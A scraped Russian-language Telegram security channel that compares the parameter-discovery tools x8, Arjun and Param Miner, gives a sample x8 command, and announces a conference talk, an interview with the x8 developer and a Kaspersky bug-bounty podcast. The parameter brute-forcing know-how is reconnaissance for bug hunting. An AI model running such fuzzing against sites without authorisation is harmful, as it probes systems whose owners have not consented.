- Time 13:37:48
+ <id="admin_param">
3. Arjun поддерживает методы только GET и POST, а Param Miner не умеет искать рекурсивным поиском.
Кроме того, в x8 есть гибкая настройка отправки параметров — концепция шаблонов и injection pointов, которая отсутствует в других инструментах.
Вообще, автор создал табличку, где сравнивает все три решения sh1yo.art/x8stats/
Так можно оценить эффективность работы на реальных сайтах.
Пример использования:
x8 -u "https://example.com/" -w <wordlist>👍18🔥4🕊1
PDUG.pdf
2 MB
Презентация с конференции PDUG (Positive Development User Group)
Будет интересна тем, кто занимается мобильной безопасностью.
Будет интересна тем, кто занимается мобильной безопасностью.
🔥16👍5🌭2
Интервью в прямом эфире! 25 января
Скоро у нас состоится разговор с @sh1y0 — багхантером и разработчиком x8
О чём будет разговор:
• О брутфорсе параметров.
• О подходе к багхантингу: Автоматизация vs Ручной поиск
• Почему гость решил писать утилиты на rust?
• Как работает x8?
• Какая у него мотивация к ИБ?
• Нужно ли работать на дядю?
Подключайтесь: 18:00 25.01.2023
Please open Telegram to view this post
VIEW IN TELEGRAM
👍21🔥15🥰1
В январе 2023 мне удалось поучаствовать в качестве Багхантера на пилотном выпуске подкаста проводимого #Kaspersky. Несмотря на то, что ребята не определились с тем как будут называться ОБИБЭ или Бинарный Боярышник... ну или еще какой-то вариант, вышло весело, лампово и очень по-дружески. Надеюсь данный пилот положит начало хорошему циклу видео и будет полезен для сообщества.
youtu.be/Z6ioEbaYOdM
Please open Telegram to view this post
VIEW IN TELEGRAM
YouTube
Как заработать на #BugBounty компаниям и исследователям | Подкаст ОБИБЭ, выпуск №1
Начинаем новый видеокаст о практической B2B кибербезопасности или, короче говоря, Подкаст ОБИБЭ. В первом выпуске говорим про Bug Bounty программы — что они дают компаниям и багхантерам.
Аудиоверсия на всех подкаст-платформах:
https://podcast.ru/e/3XECMEW1Dp6…
Аудиоверсия на всех подкаст-платформах:
https://podcast.ru/e/3XECMEW1Dp6…
🔥16❤🔥3👍2🤔1🌭1💯1